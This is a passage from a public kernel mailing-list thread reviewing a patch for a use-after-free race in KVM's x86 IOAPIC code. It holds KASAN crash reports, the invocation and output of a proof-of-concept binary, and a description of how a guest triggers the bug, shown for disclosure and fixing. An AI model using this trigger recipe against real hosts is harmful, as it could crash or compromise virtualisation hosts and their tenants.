[ 50.823804] which belongs to the cache kmalloc-256 of size 256
[ 50.824173] The buggy address is located 160 bytes inside of
[ 50.824173] freed 256-byte region [ff1100010a290600, ff1100010a290700)
[ 50.824512]
[ 50.824655] The buggy address belongs to the physical page:
[ 50.825094] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a290
[ 50.825495] head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 50.825802] flags: 0x200000000000040(head|node=0|zone=2)
[ 50.826261] page_type: f5(slab)
[ 50.826617] raw: 0200000000000040 ff11000100038b40 dead000000000100 dead000000000122
[ 50.826842] raw: 0000000000000000 0000000000100010 00000000f5000000 0000000000000000
[ 50.827110] head: 0200000000000040 ff11000100038b40 dead000000000100 dead000000000122
[ 50.827333] head: 0000000000000000 0000000000100010 00000000f5000000 0000000000000000
[ 50.827560] head: 0200000000000001 ffffffffffffff81 00000000ffffffff 00000000ffffffff
[ 50.827817] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[ 50.828041] page dumped because: kasan: bad access detected
[ 50.828208]
[ 50.828290] Memory state around the buggy address:
[ 50.828605] ff1100010a290580: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 50.828859] ff1100010a290600: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 50.829088] >ff1100010a290680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 50.829309] ^
[ 50.829487] ff1100010a290700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 50.829743] ff1100010a290780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 50.829955] ==================================================================
[ 50.830725] Disabling lock debugging due to kernel taint
```
after decode
```
/ # POC_ITERS=100 POC_NVCPU=64 POC_ARM_TIMEOUT_MS=15000 POC_SLEEP_US=10000 /bin/kvm-x86-poc
[*] IOAPIC eoi_inject UAF race: iters=100 nvcpu=64 base_sleep=10000us
[*] Needs a KASAN guest kernel to *observe* the UAF. Ctrl-C to stop.
[*] iter=0 armed=1 [ 50.773111] ==================================================================
[ 50.775501] BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1252) kvm
[ 50.778186] Read of size 8 at addr ff1100010a2906a0 by task kworker/3:1/47
[ 50.778450]
[ 50.779189] CPU: 3 UID: 0 PID: 47 Comm: kworker/3:1 Not tainted 7.2.0-rc1 #1 PREEMPT(lazy)
[ 50.779420] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[ 50.779572] Workqueue: events kvm_ioapic_eoi_inject_work [kvm]
[ 50.781876] Call Trace:
[ 50.781950] <TASK>
[ 50.782031] dump_stack_lvl (lib/dump_stack.c:94 (discriminator 1) lib/dump_stack.c:120 (discriminator 1))
[ 50.782382] print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[ 50.782441] ? __virt_addr_valid (include/linux/mmzone.h:2119 include/linux/mmzone.h:2271 arch/x86/mm/physaddr.c:54)
[ 50.782489] ? kasan_complete_mode_report_info (mm/kasan/report_generic.c:179)
[ 50.782541] kasan_report (mm/kasan/report.c:595)
[ 50.782605] ? __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1252) kvm
[ 50.784322] ? __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1252) kvm
[ 50.786015] __asan_load8 (mm/kasan/generic.c:194 mm/kasan/generic.c:273)
[ 50.786101] __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1252) kvm
[ 50.787814] ? __pfx___kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:860) kvm
[ 50.789532] ? ktime_get (kernel/time/timekeeping.c:438 kernel/time/timekeeping.c:455 kernel/time/timekeeping.c:973)
[ 50.789600] ? lapic_next_event (arch/x86/include/asm/apic.h:405 arch/x86/kernel/apic/apic.c:418)
[ 50.789649] ? clockevents_program_event (kernel/time/clockevents.c:373)
[ 50.789704] __kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1347) kvm
[ 50.791399] ? __kasan_check_write (mm/kasan/shadow.c:37)
[ 50.791449] ? __update_load_avg_cfs_rq (kernel/sched/pelt.c:147 kernel/sched/pelt.c:227 kernel/sched/pelt.c:323)
[ 50.791492] ? cpuacct_charge (kernel/sched/cpuacct.c:46 (discriminator 3) kernel/sched/cpuacct.c:343 (discriminator 3))
[ 50.791536] ? __pfx___kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1265) kvm
[ 50.793217] ? pick_eevdf (kernel/sched/fair.c:1148 (discriminator 1))
[ 50.793268] ? rb_insert_color (include/linux/rbtree_augmented.h:204 lib/rbtree.c:81 lib/rbtree.c:215 lib/rbtree.c:436)
[ 50.793337] ioapic_service (arch/x86/kvm/lapic.h:130 arch/x86/kvm/ioapic.c:492) kvm
[ 50.795009] ? __pfx_ioapic_service (arch/x86/kvm/ioapic.c:155) kvm
[ 50.796697] ? __pfx__raw_spin_lock (??:?)
[ 50.796752] kvm_ioapic_eoi_inject_work (arch/x86/kvm/ioapic.c:533) kvm
[ 50.798437] process_one_work (kernel/workqueue.c:3322)
[ 50.798505] worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)
[ 50.798560] ? __pfx_worker_thread (kernel/workqueue.c:3680)
[ 50.798607] kthread (kernel/kthread.c:436)
[ 50.798670] ? __pfx_kthread (kernel/kthread.c:378)
[ 50.798709] ret_from_fork (arch/x86/kernel/process.c:158)
[ 50.798753] ? __pfx_ret_from_fork (arch/x86/kernel/process.c:510)
[ 50.798794] ? __asan_storeN (mm/kasan/generic.c:288)
[ 50.798833] ? __switch_to (include/linux/thread_info.h:142 arch/x86/kernel/process.h:17 arch/x86/kernel/process_64.c:676)
[ 50.798878] ? __pfx_kthread (kernel/kthread.c:378)
[ 50.798920] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 50.799004] </TASK>
[ 50.799081]
[ 50.803914] Allocated by task 109 on cpu 1 at 48.240120s:
[ 50.804161] kasan_save_stack (mm/kasan/common.c:57)
[ 50.804408] kasan_save_track (mm/kasan/common.c:78)
[ 50.804559] kasan_save_alloc_info (mm/kasan/generic.c:570)
[ 50.804750] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[ 50.804888] __kmalloc_cache_noprof (include/linux/kasan.h:263 mm/slub.c:5515)
[ 50.805040] kvm_create_lapic (include/linux/slab.h:969 include/linux/slab.h:1290 arch/x86/kvm/lapic.c:3111) kvm
[ 50.806856] kvm_arch_vcpu_create (arch/x86/kvm/x86.c:12793) kvm
[ 50.808719] kvm_vm_ioctl (arch/x86/kvm/../../../virt/kvm/kvm_main.c:4201 arch/x86/kvm/../../../virt/kvm/kvm_main.c:5159) kvm
[ 50.810483] __x64_sys_ioctl (fs/ioctl.c:51 fs/ioctl.c:597 fs/ioctl.c:583 fs/ioctl.c:583)
[ 50.810670] x64_sys_call (/root/kvm-tcg-v7.2-rc1/build-kasan-outline/./arch/x86/include/generated/asm/syscalls_64.h:17)
[ 50.810815] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 50.810956] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 50.811144]
[ 50.811236] Freed by task 109 on cpu 2 at 50.771569s:
[ 50.811400] kasan_save_stack (mm/kasan/common.c:57)
[ 50.811549] kasan_save_track (mm/kasan/common.c:78)
[ 50.811711] kasan_save_free_info (mm/kasan/generic.c:584)
[ 50.811868] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[ 50.812020] kfree (include/linux/kasan.h:235 mm/slub.c:2705 mm/slub.c:6405 mm/slub.c:6720)
[ 50.812144] kvm_free_lapic (arch/x86/kvm/lapic.c:2722) kvm
[ 50.813936] kvm_arch_vcpu_destroy (arch/x86/kvm/x86.c:12907) kvm
[ 50.815728] kvm_destroy_vcpus (arch/x86/kvm/../../../virt/kvm/kvm_main.c:468 arch/x86/kvm/../../../virt/kvm/kvm_main.c:488) kvm
[ 50.817491] kvm_arch_destroy_vm (arch/x86/kvm/x86.c:13459) kvm
[ 50.819274] kvm_put_kvm (arch/x86/kvm/../../../virt/kvm/kvm_main.c:1294 arch/x86/kvm/../../../virt/kvm/kvm_main.c:1331) kvm
[ 50.821024] kvm_vm_release (arch/x86/kvm/../../../virt/kvm/kvm_main.c:1354) kvm
[ 50.822798] __fput (fs/file_table.c:512)
[ 50.822926] fput_close_sync (fs/file_table.c:617)
[ 50.823068] __x64_sys_close (fs/open.c:1511 fs/open.c:1496 fs/open.c:1496)
[ 50.823196] x64_sys_call (/root/kvm-tcg-v7.2-rc1/build-kasan-outline/./arch/x86/include/generated/asm/syscalls_64.h:4)
[ 50.823338] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 50.823466] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 50.823696]
[ 50.823804] The buggy address belongs to the object at ff1100010a290600
[ 50.823804] which belongs to the cache kmalloc-256 of size 256
[ 50.824173] The buggy address is located 160 bytes inside of
[ 50.824173] freed 256-byte region [ff1100010a290600, ff1100010a290700)
[ 50.824512]
[ 50.824655] The buggy address belongs to the physical page:
[ 50.825094] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a290
[ 50.825495] head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 50.825802] flags: 0x200000000000040(head|node=0|zone=2)
[ 50.826261] page_type: f5(slab)
[ 50.826617] raw: 0200000000000040 ff11000100038b40 dead000000000100 dead000000000122
[ 50.826842] raw: 0000000000000000 0000000000100010 00000000f5000000 0000000000000000
[ 50.827110] head: 0200000000000040 ff11000100038b40 dead000000000100 dead000000000122
[ 50.827333] head: 0000000000000000 0000000000100010 00000000f5000000 0000000000000000
[ 50.827560] head: 0200000000000001 ffffffffffffff81 00000000ffffffff 00000000ffffffff
[ 50.827817] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[ 50.828041] page dumped because: kasan: bad access detected
[ 50.828208]
[ 50.828290] Memory state around the buggy address:
[ 50.828605] ff1100010a290580: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 50.828859] ff1100010a290600: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 50.829088] >ff1100010a290680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 50.829309] ^
[ 50.829487] ff1100010a290700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 50.829743] ff1100010a290780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 50.829955] ==================================================================
[ 50.830725] Disabling lock debugging due to kernel taint
```
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs
2026-07-05 5:04 [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs Weiming Shi
2026-07-05 5:18 ` 王众
@ 2026-07-06 9:09 ` Huang, Kai
2026-07-06 17:50 ` Weiming Shi
1 sibling, 1 reply; 4+ messages in thread
From: Huang, Kai @ 2026-07-06 9:09 UTC (permalink / raw)
To: pbonzini@redhat.com, seanjc@google.com, bestswngs@gmail.com
Cc: Wang, Zhong, kvm@vger.kernel.org, shixuanqing.11@bytedance.com
On Sun, 2026-07-05 at 13:04 +0800, Weiming Shi wrote:
> kvm_ioapic_eoi_inject_work() re-delivers a throttled level-triggered
> interrupt via kvm_irq_delivery_to_apic(), which walks kvm->arch.apic_map
> and dereferences the destination vCPU's APIC. The work is cancelled only
> in kvm_ioapic_destroy(), which runs after kvm_destroy_vcpus() has freed
> the vCPUs and their APICs. kvm_free_lapic() does not rebuild apic_map, so
> the map is left with dangling pointers, and a work item that fires during
> that window reads freed memory:
>
> BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
> Read of size 8 by task kworker/3:1
> Workqueue: events kvm_ioapic_eoi_inject_work
> __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
> __kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1343)
> ioapic_service (arch/x86/kvm/ioapic.c:492)
> kvm_ioapic_eoi_inject_work (arch/x86/kvm/ioapic.c:525)
> process_one_work
>
> Freed by task 153:
> kvm_arch_vcpu_destroy (arch/x86/kvm/x86.c:12871)
> kvm_destroy_vcpus (virt/kvm/kvm_main.c:489)
> kvm_arch_destroy_vm (arch/x86/kvm/x86.c:13402)
> kvm_destroy_vm (virt/kvm/kvm_main.c:1302)
> kvm_vm_release (virt/kvm/kvm_main.c:1363)
>
> A guest arms the work by EOIing a level-triggered pin 10000 times in a
> row, so the window is reachable from guest ring 0 whenever its VM is torn
> down soon after.
>
> Add kvm_ioapic_pre_destroy() and call it from kvm_arch_pre_destroy_vm(),
> which already stops the PIT and the kvmclock/MMU workers before vCPUs are
> freed for the same reason.
I am wondering whether we can just move kvm_ioapic_destroy() (and
kvm_pic_destroy()) to kvm_arch_pre_destroy_vm(). I guess the concern is we want
to make sure vIOAPIC is destroyed _after_ kvm_free_irq_routing() is done?
Btw, one odd thing I saw is all KVM IO buses are actually destroyed right after
kvm_free_irq_routing(), but yet kvm_ioapic_destroy() tries to unregister it from
the KVM_MMIO_BUS (ditto for kvm_pic_destroy).
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs
2026-07-06 9:09 ` Huang, Kai
@ 2026-07-06 17:50 ` Weiming Shi
0 siblings, 0 replies; 4+ messages in thread
From: Weiming Shi @ 2026-07-06 17:50 UTC (permalink / raw)
To: Huang, Kai
Cc: pbonzini@redhat.com, seanjc@google.com, Wang, Zhong,
kvm@vger.kernel.org, shixuanqing.11@bytedance.com
Huang, Kai <kai.huang@intel.com> 于2026年7月6日周一 17:09写道:
>
> On Sun, 2026-07-05 at 13:04 +0800, Weiming Shi wrote:
> > kvm_ioapic_eoi_inject_work() re-delivers a throttled level-triggered
> > interrupt via kvm_irq_delivery_to_apic(), which walks kvm->arch.apic_map
> > and dereferences the destination vCPU's APIC. The work is cancelled only
> > in kvm_ioapic_destroy(), which runs after kvm_destroy_vcpus() has freed
> > the vCPUs and their APICs. kvm_free_lapic() does not rebuild apic_map, so
> > the map is left with dangling pointers, and a work item that fires during
> > that window reads freed memory:
> >
> > BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
> > Read of size 8 by task kworker/3:1
> > Workqueue: events kvm_ioapic_eoi_inject_work
> > __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
> > __kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1343)
> > ioapic_service (arch/x86/kvm/ioapic.c:492)
> > kvm_ioapic_eoi_inject_work (arch/x86/kvm/ioapic.c:525)
> > process_one_work
> >
> > Freed by task 153:
> > kvm_arch_vcpu_destroy (arch/x86/kvm/x86.c:12871)
> > kvm_destroy_vcpus (virt/kvm/kvm_main.c:489)
> > kvm_arch_destroy_vm (arch/x86/kvm/x86.c:13402)
> > kvm_destroy_vm (virt/kvm/kvm_main.c:1302)
> > kvm_vm_release (virt/kvm/kvm_main.c:1363)
> >
> > A guest arms the work by EOIing a level-triggered pin 10000 times in a
> > row, so the window is reachable from guest ring 0 whenever its VM is torn
> > down soon after.
> >
> > Add kvm_ioapic_pre_destroy() and call it from kvm_arch_pre_destroy_vm(),
> > which already stops the PIT and the kvmclock/MMU workers before vCPUs are
> > freed for the same reason.
>
> I am wondering whether we can just move kvm_ioapic_destroy() (and
> kvm_pic_destroy()) to kvm_arch_pre_destroy_vm(). I guess the concern is we want
> to make sure vIOAPIC is destroyed _after_ kvm_free_irq_routing() is done?
>
Yeah, moving them is cleaner than a helper, will do that in v2.
> Btw, one odd thing I saw is all KVM IO buses are actually destroyed right after
> kvm_free_irq_routing(), but yet kvm_ioapic_destroy() tries to unregister it from
> the KVM_MMIO_BUS (ditto for kvm_pic_destroy).
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-07-06 17:51 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-05 5:04 [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs Weiming Shi
2026-07-05 5:18 ` 王众
2026-07-06 9:09 ` Huang, Kai
2026-07-06 17:50 ` Weiming Shi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox